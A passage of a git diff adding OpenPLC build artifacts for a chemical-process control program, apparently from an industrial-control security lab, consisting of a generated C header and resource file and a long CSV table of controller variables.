__DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; 